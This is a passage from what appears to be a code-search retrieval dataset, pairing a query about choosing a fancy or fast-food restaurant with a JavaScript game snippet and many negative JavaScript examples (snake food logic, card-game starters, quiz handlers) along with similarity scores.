'space');\\n background.height = this.game.height;\\n var button = this.game.add.button(this.game.world.centerX - 100, 100, 'start', start,this);\\n button.angle = -30;\\n\\n this.userName = ''; //Initializes name\\n \\n \\n var scoreText = this.game.add.text(0, 500, 'You Lost!', {fontsize: '32px', fill: '#ffffff', boundsAlignH: \\\"center\\\"});\\n scoreText.text = \\\"You Lost! Score: \\\" + this.scoreValue + \\\"\\\\n(Click Alex's face or \\\\npress enter to play again)\\\";\\n scoreText.setTextBounds(0, 100, 800);\\n\\n this.nameText = this.game.add.text(200, 800, 'Submit Name to Leaderboard: \\\\n(Enter to Submit)', {fontsize: '32px', fill: '#ffffff'});\\n //Retrieve keyboard presses from the player\\n this.game.input.keyboard.addCallbacks(this, null, null, keyPress);\\n this.textInput = this.game.add.text(this.game.world.centerX + 5, 575, \\\"\\\", {\\n font: \\\"28px Arial\\\",\\n fill: \\\"#000\\\",\\n align: \\\"center\\\"\\n });\\n this.textInput.setText(this.textInput.text);\\n this.textInput.anchor.setTo(0.5, 0.5);\\n\\n function keyPress(char) {\\n this.userName += char;\\n }\\n\\n //Keys for backspace and enter\\n this.deleteKey = this.game.input.keyboard.addKey(Phaser.Keyboard.BACKSPACE);\\n this.enterKey = this.game.input.keyboard.addKey(Phaser.Keyboard.ENTER);\\n this.game.input.keyboard.addKeyCapture([ Phaser.Keyboard.BACKSPACE, Phaser.Keyboard.ENTER ]);\\n\\n //Detect backspaces when typing the name\\n this.deleteKey.onDown.add(deleteText, this);\\n\\n //allows user to delete characters\\n function deleteText() {\\n if (this.userName !== '') {\\n this.userName = this.userName.slice(0, this.userName.length - 1);\\n }\\n }\\n\\n //Detect Enter when typing the name\\n this.enterKey.onDown.add(start, this);\\n\\n\\n //Send to Firebase Here\\n function start() {\\n if (this.userName === '') {\\n this.userName = 'Alex';\\n }\\n var newScore = {ScoreValue: this.scoreValue, UserName: this.userName};\\n scoresData.push(newScore);\\n\\n this.userName = '';\\n this.state.start('Game');\\n }\\n }\",\n \"function startGame()\\n{\\n\\tcreateDeck();\\n\\tshuffleDeck();\\n\\tcreatePlayers(2);\\n\\n\\tdrawCard(0, 0);\\n\\tdrawCard(1, 0);\\n\\tdrawCard(0, 0);\\n\\tdrawCard(1, 0);\\n\\n\\n\\n\\tdisplayCards();\\n\\tdisplayOptions();\\n}\",\n \"display(title) {\\r\\n this.title.html(title);\\r\\n this.title.position(130, 0);\\r\\n if (this.playButton, this.inputbox) {\\r\\n this.inputbox.position(130, 160);\\r\\n\\r\\n this.playButton.position(250, 200);\\r\\n\\r\\n this.playButton.mousePressed(() => {\\r\\n this.inputbox.hide();\\r\\n this.playButton.hide();\\r\\n playerObj.name = this.inputbox.value();\\r\\n gameState = 1;\\r\\n this.greeting.html(\\\"Welcome \\\" + playerObj.name);\\r\\n this.greeting.position(200, 250);\\r\\n });\\r\\n }\\r\\n }\",\n \"function startGame() {\\n\\tdisplayCharacterStats(null);\\n\\n\\treturn;\\n}\",\n \"function startGame() {\\n createButtons();\\n createCards();\\n}\",\n \"function startGame() {\\n createButtons();\\n createCards();\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7060195","0.69904566","0.6753309","0.67526233","0.6736144","0.6704425","0.6685465","0.6605404","0.6598817","0.65951693","0.6560461","0.6552254","0.6488314","0.643916","0.6436459","0.64232516","0.6409647","0.64065343","0.63825643","0.6379045","0.63708436","0.6370226","0.636862","0.63607436","0.6357959","0.63534826","0.6349537","0.6348982","0.6348081","0.63307804","0.63221186","0.6312787","0.63052195","0.6274072","0.6273557","0.627056","0.626817","0.6258369","0.62577057","0.62523013","0.6245355","0.624461","0.6244116","0.62432176","0.6242727","0.6241053","0.62401044","0.6236445","0.62350374","0.62110585","0.62094885","0.62046367","0.6195412","0.6190015","0.6189687","0.61886764","0.618367","0.61740756","0.6170647","0.6169018","0.61642224","0.615962","0.6155498","0.6153345","0.61286783","0.61183363","0.6112383","0.6112109","0.60887426","0.6084684","0.60811573","0.6080434","0.6079071","0.60770404","0.60769236","0.60590094","0.6057191","0.6051124","0.6051035","0.604712","0.60445327","0.60384655","0.60379666","0.60320526","0.6031776","0.6028703","0.6027233","0.60203093","0.60193646","0.60178494","0.6015291","0.6013153","0.60045534","0.5992698","0.5986002","0.5985172","0.5981141","0.5979924","0.59776825","0.59776825"],"string":"[\n \"0.7060195\",\n \"0.69904566\",\n \"0.6753309\",\n \"0.67526233\",\n \"0.6736144\",\n \"0.6704425\",\n \"0.6685465\",\n \"0.6605404\",\n \"0.6598817\",\n \"0.65951693\",\n \"0.6560461\",\n \"0.6552254\",\n \"0.6488314\",\n \"0.643916\",\n \"0.6436459\",\n \"0.64232516\",\n \"0.6409647\",\n \"0.64065343\",\n \"0.63825643\",\n \"0.6379045\",\n \"0.63708436\",\n \"0.6370226\",\n \"0.636862\",\n \"0.63607436\",\n \"0.6357959\",\n \"0.63534826\",\n \"0.6349537\",\n \"0.6348982\",\n \"0.6348081\",\n \"0.63307804\",\n \"0.63221186\",\n \"0.6312787\",\n \"0.63052195\",\n \"0.6274072\",\n \"0.6273557\",\n \"0.627056\",\n \"0.626817\",\n \"0.6258369\",\n \"0.62577057\",\n \"0.62523013\",\n \"0.6245355\",\n \"0.624461\",\n \"0.6244116\",\n \"0.62432176\",\n \"0.6242727\",\n \"0.6241053\",\n \"0.62401044\",\n \"0.6236445\",\n \"0.62350374\",\n \"0.62110585\",\n \"0.62094885\",\n \"0.62046367\",\n \"0.6195412\",\n \"0.6190015\",\n \"0.6189687\",\n \"0.61886764\",\n \"0.618367\",\n \"0.61740756\",\n \"0.6170647\",\n \"0.6169018\",\n \"0.61642224\",\n \"0.615962\",\n \"0.6155498\",\n \"0.6153345\",\n \"0.61286783\",\n \"0.61183363\",\n \"0.6112383\",\n \"0.6112109\",\n \"0.60887426\",\n \"0.6084684\",\n \"0.60811573\",\n \"0.6080434\",\n \"0.6079071\",\n \"0.60770404\",\n \"0.60769236\",\n \"0.60590094\",\n \"0.6057191\",\n \"0.6051124\",\n \"0.6051035\",\n \"0.604712\",\n \"0.60445327\",\n \"0.60384655\",\n \"0.60379666\",\n \"0.60320526\",\n \"0.6031776\",\n \"0.6028703\",\n \"0.6027233\",\n \"0.60203093\",\n \"0.60193646\",\n \"0.60178494\",\n \"0.6015291\",\n \"0.6013153\",\n \"0.60045534\",\n \"0.5992698\",\n \"0.5986002\",\n \"0.5985172\",\n \"0.5981141\",\n \"0.5979924\",\n \"0.59776825\",\n \"0.59776825\"\n]"},"document_score":{"kind":"string","value":"0.59898114"},"document_rank":{"kind":"string","value":"94"}}},{"rowIdx":60,"cells":{"query":{"kind":"string","value":"Choose to eat at a fancy restaurant or a fastfood restaurant."},"document":{"kind":"string","value":"function startFunction() {\n title.innerText = \"\";\n subTitle.innerText = subTitleIntro;\n\n firstButton.innerText = \"fancy restaurant\";\n secondButton.classList.remove(\"hidden\");\n secondButton.innerHTML = \"fastfood restaurant\";\n\n firstButton.onclick = function() {\n regretFancyRestaurantOption(); \n }\n\n secondButton.onclick = function() {\n regretFastFoodRestaurantOption(); \n }\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function handleFastRestaurantChoice() {\n /** @type {HTMLInputElement} Input field. */\n const fastDishInput = document.getElementById(\"fast-input\").value;\n const fastfoodMenu = [\"cheeseburger\", \"doubleburger\", \"veganburger\"]\n\n if(fastDishInput == fastfoodMenu[0]) {\n restaurantClosing();\n } else if (fastDishInput == fastfoodMenu[1]) {\n restaurantClosing();\n } else if (fastDishInput == fastfoodMenu[2]) {\n restaurantClosing();\n } else {\n fastFoodRestaurantScene();\n }\n}","function handleFancyRestaurantChoice() {\n /** @type {HTMLInputElement} Input field. */\n const dishInput = document.getElementById(\"dish-input\").value;\n const fancyMenu = [\"pizza\", \"paella\", \"pasta\"]\n\n if(dishInput == fancyMenu[0]) {\n restaurantClosing();\n } else if (dishInput == fancyMenu[1]) {\n restaurantClosing();\n } else if (dishInput == fancyMenu[2]) {\n restaurantClosing();\n } else {\n fancyRestauratMenu();\n }\n}","function randomFood() {\n\n\t\tif (Math.random() > 0.5) {\n\t\t\treturn 'pizza';\n\t\t} \n\t\treturn 'ice cream';\n\t}","function whatDidYouEat(food) {\n var outcome;\n switch (food) {\n case \"beans\":\n outcome = \"gas attack\";\n break;\n case \"salad\":\n outcome = \"safe and sound\";\n break;\n case \"mexican\":\n outcome = \"diarrhea in 30 minutes\"\n break;\n default:\n outcome = \"please enter valid food\";\n }\n return outcome;\n}","function checkFood(food){\n\tvar food = [\"chicken\", \"beef\", \"fish\", \"lamb\", \"veal\"];\n\n\t//The first term starts with 0\n\n\tif(food == food[0] || food == food[1] || food == food[2] || food == food[3] || food == food [4]){\n\t\talert(\"You are considered as meat\");\n\t}else{\n\t\talert(\"You may or may not be considered as meat\");\n\t//if chicken, beef, fish, lamb or veal is entered, then a popup will appaer with \"You are considered as meat\"\n\t//if something else is entered, then a popup will appear saying \"you may or may not be considered as meat\"\t\n\t}\n}","function findTheCheese (foods) {\n\n for (var i = 0; i < foods.length; i++) {\n\n switch (foods[i]) {\n case \"cheddar\":\n return \"cheddar\"\n break;\n case \"gouda\":\n return \"gouda\"\n break;\n case \"camembert\":\n return \"camembert\"\n break;\n }\n }\n return \"no cheese!\"\n}","function eat(food)\n\t\t{\n\t\t\t// Add the food's HTML element to a queue of uneaten food elements.\n\t\t\tuneatenFood.push(food.element);\n\n\t\t\t// Tell the fish to swim to the position of the specified food object, appending this swim instruction\n\t\t\t// to all other swim paths currently queued, and then when the swimming is done call back a function that\n\t\t\t// removes the food element.\n\t\t\tFish.swimTo(\n\t\t\t\tfood.position,\n\t\t\t\tFish.PathType.AppendPath,\n\t\t\t\tfunction()\n\t\t\t\t{\n\t\t\t\t\tlet eatenFood = uneatenFood.shift();\n\t\t\t\t\teatenFood.parentNode.removeChild(eatenFood);\n\t\t\t\t\tgrow();\n\t\t\t\t});\n\t\t} // end eat()","function makeFood(beans, rice) {\n if (beans === 'y' && rice === 'y') {\n console.log('Burrito');\n }\n}","function setFoodType(type) {\n // This allows us to display items related to the choice on the map but also to style the buttons so the user knows that they have selected something\n if(type === 'kebab') {\n $scope.hammered = 'chosen-emotion';\n $scope.hungover = '';\n $scope.hangry = '';\n $scope.hardworking = '';\n } else if(type === 'cafe') {\n $scope.hammered = '';\n $scope.hungover = 'chosen-emotion';\n $scope.hangry = '';\n $scope.hardworking = '';\n } else if(type === 'fastfood') {\n $scope.hammered = '';\n $scope.hungover = '';\n $scope.hangry = 'chosen-emotion';\n $scope.hardworking = '';\n } else {\n $scope.hammered = '';\n $scope.hungover = '';\n $scope.hangry = '';\n $scope.hardworking = 'chosen-emotion';\n }\n vm.foodType = type;\n }","selectSoupTomato() {\n I.waitForElement(foodObjects.chooseCup);\n I.tap(foodObjects.chooseCup);\n I.waitForElementLeaveDom(settings.config.helpers.Appium.platform, commonObjects.progressBar);\n I.waitForElement(foodObjects.tomatoSoup);\n I.tap(foodObjects.tomatoSoup);\n I.waitForElementLeaveDom(settings.config.helpers.Appium.platform, commonObjects.progressBar);\n }","function randomFood() {\n\tfor(var i=0; i<3; i++) {\n\t\tvar rfood = Math.floor(Math.random()*food.length);\n\t\tfoods[i].className = 'food';\n\t\tfoods[i].classList.add(food[rfood]);\n\t\tfoods[i].style.top = randomPosition()+\"px\";\n\t\tfoods[i].style.left = randomPosition()+\"px\";\n\t\tcheckEat(pig, foods[i]);\n\t}\n}","function fruitOrVegetable(product) {\n switch (product) {\n case \"cucumber\":\n case \"pepper\":\n case \"carrot\":\n console.log(\"vegetable\");\n break;\n // TODO: Implement the other cases\n }\n}","eat() {\r\n let consume = this.food - 2\r\n if (consume > 1) {\r\n this.isHealthy = true\r\n return this.food = consume\r\n } if (consume <= 0) {\r\n this.isHealthy = false\r\n return this.food = 0\r\n }\r\n else if (consume <= 1) {\r\n return this.food = consume\r\n //alert(this.name + \" food supply reached to 0. It's time for a hunt\")\r\n //this.isHealthy = true\r\n }\r\n\r\n }","generateRestaurant(){\n// we want the user to input the zipcode they want to search, the food type they want to eat\n// and the rating (1-5) \n// getRestaurants()\n\n\n}","function eatingFood(eatingTime) {\n switch(eatingTime) {\n case 'Breakfast':\n return '07:00';\n case 'Lunch':\n return '13:00';\n default:\n return 'I do not eat';\n }\n}","pickUpFood() {\n var surTile = this.Survivor.getCurrentTile();\n for (const f of this.foodStock) {\n if (surTile === f.getTile() && f.getActive()) {\n f.setActive(false);\n this.playerFood += this.foodValue;\n this.playerScore += 10;\n }\n }\n }","function changeRestaurant() {\n if (selectedRestaurant < rRestaurants.length - 1) {\n const next = selectedRestaurant + 1;\n dispatch(setSelectedRestaurant(next));\n } else {\n dispatch(setSelectedRestaurant(0));\n }\n }","function getRandomMeal() {\n const getMeal = async () => {\n const singleMeal = await getRandom();\n if (singleMeal) setMeal(singleMeal);\n setStatus(true);\n };\n getMeal();\n }","function eatFood() {\n if (gameState.snakeStart === gameState.food) {\n gameState.snakeLength++;\n\n updateFoodCell(\"remove\", gameState.food);\n\n createFood();\n updateFoodCell(\"add\", gameState.food);\n gameState.score++;\n increaseSpeed();\n showScore();\n return true;\n }\n}","function eat(snake, food) {\n\tsnake.belly = food.value;\n\tresetFood();\n}","eat(){\n let head = this.state.snakeDots[this.state.snakeDots.length - 1];\n let food = this.state.food;\n if (head[0] === food[0] && head[1] === food[1]){\n this.setState({\n food : getRandomCo()\n })\n this.increaseB();\n this.SpeedIN();\n }\n }","function fastFoodMeal(sandwich, side, drink, dessert) {\n \n return {\n sandwich: sandwich,\n side: side,\n drink: drink,\n dessert: dessert,\n }\n}","function foodClickHandler(foodsitem) {\n setFood(foodsitem);\n }","function computeFood(inputFood) {\n if (inputFood) {\n inputFood = inputFood.toLowerCase();\n switch (inputFood) {\n case \"italian\": \n parseFood = \"cuisine=italian&\";\n break;\n case \"american\":\n parseFood = \"cuisine=american&\";\n break;\n case \"chicken\": \n parseFood = \"cuisine=chicken&\";\n break;\n case \"burgers\": \n parseFood = \"cuisine=burgers&\";\n break;\n case \"salads\": \n parseFood = \"cuisine=salads&\";\n break;\n case \"sandwiches\": \n parseFood = \"cuisine=sandwiches&\";\n break;\n case \"soups\": \n parseFood = \"cuisine=soups&\";\n break;\n case \"subs\": \n parseFood = \"cuisine=subs&\";\n break;\n case \"chinese\": \n parseFood = \"cuisine=chinese&\";\n break;\n case \"vietnamese\": \n parseFood = \"cuisine=vietnamese&\";\n break;\n case \"pizza\": \n parseFood = \"cuisine=pizza&\";\n break;\n case \"seafood\": \n parseFood = \"cuisine=seafood&\";\n break;\n case \"indian\": \n parseFood = \"cuisine=indian&\";\n break;\n case \"asian\": \n parseFood = \"cuisine=asian&\";\n break;\n case \"diner\": \n parseFood = \"cuisine=diner&\";\n break;\n case \"healthy\": \n parseFood = \"cuisine=healthy&\";\n break;\n case \"irish\": \n parseFood = \"cuisine=irish&\";\n break;\n case \"mediterranean\": \n parseFood = \"cuisine=mediterranean&\";\n break;\n case \"noodles\": \n parseFood = \"cuisine=noodles&\";\n break;\n case \"steak\": \n parseFood = \"cuisine=steak&\";\n break;\n case \"vegetarian\": \n parseFood = \"cuisine=vegetarian&\";\n break;\n }\n }\n}","function chooseAction() {\n\tinquirer\n\t\t.prompt({\n\t\t\tname: \"action\", \n\t\t\ttype: \"rawlist\", \n\t\t\tmessage: \"What do you want to do?\", \n\t\t\tchoices: [\"VIEW PRODUCTS\", \"VIEW LOW INVENTORY\", \"ADD TO INVENTORY\", \"ADD NEW PRODUCT\", \"QUIT\"]\n\t\t})\n\t\t.then(function(ans) {\n\t\t\tif(ans.action.toUpperCase() ===\"VIEW PRODUCTS\") {\n\t\t\t\tviewProducts(); \n\t\t\t} \n\t\t\telse if (ans.action.toUpperCase() === \"VIEW LOW INVENTORY\") {\n\t\t\t\tviewLowInventory(); \n\t\t\t}\n\t\t\telse if (ans.action.toUpperCase() === \"ADD TO INVENTORY\") {\n\t\t\t\taddInventory(); \n\t\t\t}\n\t\t\telse if (ans.action.toUpperCase() === \"ADD NEW PRODUCT\") {\n\t\t\t\taddNewProduct(); \n\t\t\t}\n\t\t\telse {\n\t\t\t\tendConnection(); \n\t\t\t}\n\t\t})\n}","async displayFoodChoice(step) {\n const user = await this.userProfile.get(step.context, {});\n if (user.food) {\n await step.context.sendActivity(`Your name is ${ user.name } and you would like this kind of food : ${ user.food }.`);\n } else {\n const user = await this.userProfile.get(step.context, {});\n\n //await step.context.sendActivity(`[${ step.context.activity.text }]-type activity detected.`);\n\n if (step.context.activity.text == 1) {\n user.food = \"European\";\n await this.userProfile.set(step.context, user);\n } else if (step.context.activity.text == 2) {\n user.food = \"Chinese\";\n await this.userProfile.set(step.context, user);\n } else if (step.context.activity.text == 3) {\n user.food = \"American\";\n await this.userProfile.set(step.context, user);\n }else {\n await this.userProfile.set(step.context, user);\n await step.context.sendActivity(`Sorry, I do not understand, please try again.`);\n return await step.beginDialog(WHICH_FOOD);\n }\n\n await step.context.sendActivity(`Your name is ${ user.name } and you would like this kind of food : ${ user.food }.`);\n }\n return await step.beginDialog(WHICH_PRICE);\n //return await step.endDialog();\n}","function fightOrRun() {\n var choices = [\"Run\", \"Fight\"];\n var askPlayer = parseInt(readline.keyInSelect(choices, \"Do you want to fight like a shark or run like a shrimp???\\nThe next monster might be scarier.\\n \\n What are you going to do? Press 1 to run...Press 2 to fight.\"));\n if (choices === 1) {\n //call the function for deciding to run \n run();\n } else {\n //call the function for deciding to fight\n console.log('You decided to fight, bring it on!!.');\n fight();\n }\n }","onFood () {\r\n let tilePlants = this.tile.objs.filter(o => o.name === 'plant')\r\n if (tilePlants.length < 1) return false\r\n return tilePlants[0]\r\n }","function foodFunc() {\n\n var favFood = prompt('Guess one of the top four styles of foods that I enjoy eating.').toLowerCase();\n var foodStyles = ['mexican', 'italian', 'southern', 'japanese'];\n\n for (var i = 0; i < 5; i++) {\n if (favFood === foodStyles[0] || favFood === foodStyles[1] || favFood === foodStyles[2] || favFood === foodStyles[3]) {\n favFood = alert('Correct, ' + favFood + ' food is delicious!');\n score++;\n break;\n } else if (i !== 6) {\n favFood = prompt('That doesn\\'t make the top four. Please try again.');\n }\n }\n if (i === 5) {\n favFood = alert('My top four favorite styles of food are mexican, italian, southern, and japanese food!');\n }\n}","function makeEnemyChoice() {\n const choices = [\"horse\", \"hay\", \"sword\"];\n const choiceIndex = Math.floor(Math.random() * choices.length);\n selectItem(\"enemy\", choices[choiceIndex]);\n}","eat () {\n if (this.food === 0) {\n this.isHealthy = false;\n\n } else {\n this.food -= 1;\n }\n }","function makeChoise() {\n\tconsole.log('Func makeChoise');\n\tvar choise = 0;\n\tif(machina.countCoins == MINERAL_WATER) {\n\t\tchoise = prompt('Press 1 to choose Mineral water or add more coins to make another choise.', 0);\n\t\tif(choise == 1) {\n\t\t\tmachina.giveMineralWater();\n\t\t}\n\t\telse getCoins();\n\t}\n\telse if(machina.countCoins == SWEET_WATER ) {\n\t\tchoise = prompt('Press 1 to choose Mineral water or Press 2 to choose Sweet water.', 0);\n\t\tif(choise == 1) {\n\t\t\tmachina.giveMineralWater();\n\t\t}\n\t\telse machina.giveSweetWater();\n\t}\n}","function fightOrFlight() {\n var fightOrFlight = ask.question(\"Do you choose to fight or run? Type 'f' to fight or 'r' to run\\n\")\n if (fightOrFlight === \"f\") {\n fight();\n } else {\n run();\n }\n}","async eatEnergy() {\n await this.updateAvailableEat();\n let response = await this.sendRequest(\"foodSystem.php\", { \"whatneed\": \"eatFrmHldnk\" });\n debug(\"Eating...\", response);\n return response;\n }","setSelectedRestaurant(state, resto) {\n state.selectedRestaurant = resto;\n }","function pickFood() {\r\n\r\n\t\tdocument.getElementById(\"searchFood\").value = \"\";\r\n\t\tlet food = document.getElementById(this.id).innerHTML;\r\n\t\tlet foodName = \"\";\r\n\t\tlet foodSplit = food.split(/[ \\t\\n]+/);\r\n\r\n\t\tfor(let i = 0; i < foodSplit.length; i++) {\r\n\t\t\tfoodName += foodSplit[i];\r\n\t\t\tif(i + 1 < foodSplit.length) {\r\n\t\t\t\tfoodName += \"+\";\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tlet url = \"https://www.themealdb.com/api/json/v1/1/search.php?s=\"+foodName;\r\n\t\tfetch(url)\r\n\t\t\t.then(checkStatus)\r\n\t\t\t.then(function(responseText) {\r\n\t\t\t\tlet json = JSON.parse(responseText);\r\n\t\t\t\tclear();\r\n\t\t\t\taddTop(json);\r\n\t\t\t\taddIngredients(json);\r\n\t\t\t\taddDirections(json);\r\n\t\t\t\textras(json);\r\n\t\t\t\tdocument.getElementById(\"image\").style.visibility = \"visible\";\r\n\t\t\t})\r\n\t\t\t.catch(function(error) {\r\n\t\t\t\tconsole.log(error);\r\n\t\t\t\tlet error1 = document.getElementById(\"error\");\r\n\t\t\t\terror1.innerHTML = \"Sorry a problem occurred with API, try another name\";\r\n\t\t\t});\r\n\t}","function findTheCheese (foods) {\n for (var i=0; i= 1) {\n\t\t\t\t\tadventure = \"restaurant\";\n\t\t\t\t}\n\t\t\t\telse if (activity == 1 && budget == 0) {\n\t\t\t\t\tadventure = \"shopping_mall\";\n\t\t\t\t} else if (activity == 1 && budget >= 1) {\n\t\t\t\t\tadventure = \"amusement_park\";\n\t\t\t\t} else if (activity == 2 && budget == 0) {\n\t\t\t\t\tadventure = \"bar\";\n\t\t\t\t} else if (activity == 2 && budget >= 1) {\n\t\t\t\t\tadventure = \"spa\";\n\t\t\t\t}\n\t\t\t}","function Traveler(food, name, isHealthy) {\n this.isHealthy = true; //setting as true to begin with\n this.food = food; // CB Note: can put this getRandomIntInclusive(1,0); --not best solution\n this.name = name;\n this.isHealthy = isHealthy;\n }","function chooseAction(me, opponent, t) {\n // This strategy uses the state variable 'evil'.\n // In every round, turn 'not angel' with 10% probability.\n // (And remain this way until the 200 rounds are over.)\n if (Math.random() < 0.1) {\n angel = false;\n }\n\n // If angel, recycle\n if (angel) return 1;\n\n return 0; // Waste otherwise\n }","async promptForFood(step) {\n if (step.result && step.result.value === 'yes') {\n\n return await step.prompt(FOOD_PROMPT, `Tell me what kind of food would you prefer ?`,\n {\n retryPrompt: 'Sorry, I do not understand or say cancel.'\n }\n );\n } else {\n return await step.next(-1);\n }\n}","function flavorBanana() {\n\t// flavor texts\n\tflavors = [\"Bananas are radioactive.\",\"Bananas are clones.\",\"Most types of banana are unpalatable.\",\"Bananas are technically a berry.\",\"A cluster of bananas is called a \\\"hand.\\\"\"];\n\t// pick a flavor text and return it\n\tflavor = Math.floor(Math.random() * flavors.length);\n\treturn flavors[flavor];\n}","function selectMeat(meat) {\n if($scope.model.selectedBurger.meat) {\n $scope.model.selectedBurger.meat.selected = false;\n }\n $scope.model.selectedBurger.meat = meat;\n $scope.model.selectedBurger.meat.selected = true;\n selectStep('cheese');\n }","function doChoice(e) {\n if (this.selectedIndex>0) {\n var c = favlist[this.options[this.selectedIndex].value];\n\t\tvar fail = false;\n if (c) {\n var i;\n setNotice('Loading fav ...');\n for (i=1;i<=c.length;i++) {\n fail |= setState(i,c[i-1]);\n }\n for (;i<=11;i++) {\n clearState(i);\n }\n }\n this.selectedIndex = 0;\n\t\tif (fail)\n\t\t\taddNotice('Item(s) not found!');\n\t\telse\n\t\t\taddNotice('Fav loaded!');\n }\n}","function findFood(post) {\n\t\tconsole.log(post);\n\t\trestaurantCheck(post);\n\t\tpost = filterPost(post); // filters posts\n\n\t\t// checks spoonacular API to find foods\n\t\tpost.forEach(function (element, index) {\n\t\t\tclassifyCuisine(element);\n\t\t\tingredientSearch(element);\n\t\t});\n\t}","function foodFactory() {\n\n\t\t//generate food randomly with 1/10 chance\n\t\tif (Math.floor((Math.random() * 25) + 1) === 3) {\n\n\t\t\t//randomly position it on the field\n\t\t\tvar randomX = Math.floor((Math.random() * size) );\n\t\t\tvar randomY = Math.floor((Math.random() * size) );\n\n\t\t\t//if selected field is empty create food here\n\t\t\tif (game[randomY][randomX] === 0) {\n\t\t\t\tgame[randomY][randomX] = 2;\n\t\t\t}\n\t\t}\n\t}","function ingredientSearch (food) {\n\n\t\t// J\n\t\t// Q\n\t\t// U\n\t\t// E\n\t\t// R\n\t\t// Y\n\t\t$.ajax ({\n\t\t\tmethod: \"GET\",\n\t\t\turl: ingredientSearchURL+\"?metaInformation=false&number=10&query=\"+food,\n\t\t headers: {\n\t\t 'X-Mashape-Key': XMashapeKey,\n\t\t 'Content-Type': \"application/x-www-form-urlencoded\",\n\t\t \"Accept\": \"application/json\"\n\t\t }\n\t\t}).done(function (data) {\n\t\t\t// check each returned ingredient for complete instance of passed in food\n\t\t\tfor (var i = 0; i < data.length; i++) {\n\t\t\t\tvar word_list = getWords(data[i].name);\n\t\t\t\t// ensures food is an ingredient and not already in the food list\n\t\t\t\tif (word_list.indexOf(food) !== -1 && food_list.indexOf(food) === -1) {\n\t\t\t\t\tfood_list.push(food);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}","function generateRandomFood() {\n\n\t\tvar x = Math.floor((Math.random() * BOARD_SIZE));\n\t\tvar y = Math.floor((Math.random() * BOARD_SIZE));\n\n\t\tvar pos = new Position(x,y);\n\n\t\twhile(snakeAtPosition(pos)) {\n\n\t\t\tx = Math.floor((Math.random() * BOARD_SIZE));\n\t\t\ty = Math.floor((Math.random() * BOARD_SIZE));\n\t\t\tpos = new Position(x,y);\n\t\t}\n\n\t\treturn new Food(pos.x, pos.y);\n\t}","function systemSelection(option){\n\tvar check = option; \n\tif(vehicleFuel<=0){\n\t\tgameOverLose();\n\t}\n\n\telse{\n\n\n\tif(currentLocation===check){\n\t\t\tgamePrompt(\"Sorry Captain, You're already there or have been there. I will return you to the main menu to make another choice\",beginTravel);\n\t\t\t}\n\n\telse{\n\t\n\t\t\tif(check.toLowerCase() === \"e\"){\n\t\t\t\tvehicleFuel=(vehicleFuel-10);\n\t\t\t\tcurrentLocation=\"e\" ;\n\t\t\t\tgamePrompt(\"Flying to Earth...You used 10 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToEarth);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"m\"){\n\t\t\t//need to add a 'visited' conditional\n\t\t\tvehicleFuel=(vehicleFuel-20);\n\t\t\tcurrentLocation=\"m\" ;\n\t\t\t\tgamePrompt(\"Flying to Mesnides...You used 20 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\", goToMesnides);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"l\"){\n\t\t\tvehicleFuel=(vehicleFuel-50);\n\t\t\tcurrentLocation=\"l\" ;\n\t\t\tgamePrompt(\"Flying to Laplides...You used 50 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToLaplides);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"k\"){\n\t\t\tvehicleFuel=(vehicleFuel-120);\n\t\t\tcurrentLocation=\"k\" ;\n\t\t\tgamePrompt(\"Flying to Kiyturn...You used 120 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToKiyturn);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"a\"){\n\t\t\tvehicleFuel=(vehicleFuel-25);\n\t\t\tcurrentLocation=\"a\";\n\t\t\tgamePrompt(\"Flying to Aenides...You used 25 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToAenides);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"c\"){\n\t\t\tvehicleFuel=(vehicleFuel-200);\n\t\t\tcurrentLocation=\"c\" ;\n\t\t\tgamePrompt(\"Flying to Cramuthea...You used 200 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToCramuthea);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"s\"){\n\t\t\tvehicleFuel=(vehicleFuel-400);\n\t\t\tcurrentLocation=\"s\" ;\n\t\t\tgamePrompt(\"Flying to Smeon T9Q...You used 400 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToSmeon);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"g\"){\n\t\t\tvehicleFuel=(vehicleFuel-85);\n\t\t\tcurrentLocation=\"g\" ;\n\t\t\tgamePrompt(\"Flying to Gleshan 7Z9...You used 85 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToGleshan);\n\t\t\t}\n\t\telse{\n\t\t\tgamePrompt(\"Sorry Captain, I did not understand you. I will return you to the main menu\",beginTravel);\n\t\t}\n\t}\n\t}\n}","function chap19(){\n var wantChicken = false;\n var foodArray = [\"Salmon\", \"Tilapia\", \"Tuna\", \"Lobster\"];\n var customerOrder = prompt(\"What would you like?\", \"Look the menu\");\n for (var i = 0; i <= 3; i++) {\n if (customerOrder === foodArray[i]) {\n wantChicken = true;\n alert(\"We have it on the menu!\");\n break;\n }\n }\n if(wantChicken===false) {\n\t\talert(\"We don't serve chicken here, sorry.\");\n\t}\n}","function createFood() {\n food.FOOD_COLOUR = food.colours[Math.floor(Math.random()*7)]\n // Generate a random number the food x-coordinate\n food.x = randomTen(0, gameCanvas.width - 10);\n // Generate a random number for the food y-coordinate\n food.y = randomTen(0, gameCanvas.height - 10);\n \n\n // if the new food location is where the snake currently is, generate a new food location\n snakeOne.snake.forEach(function isFoodOnSnake(part) {\n const foodIsoNsnake = part.x == food.x && part.y == food.y;\n if (foodIsoNsnake) createFood();\n });\n }","function doSomething(chosen, title) {\n switch (chosen) {\n 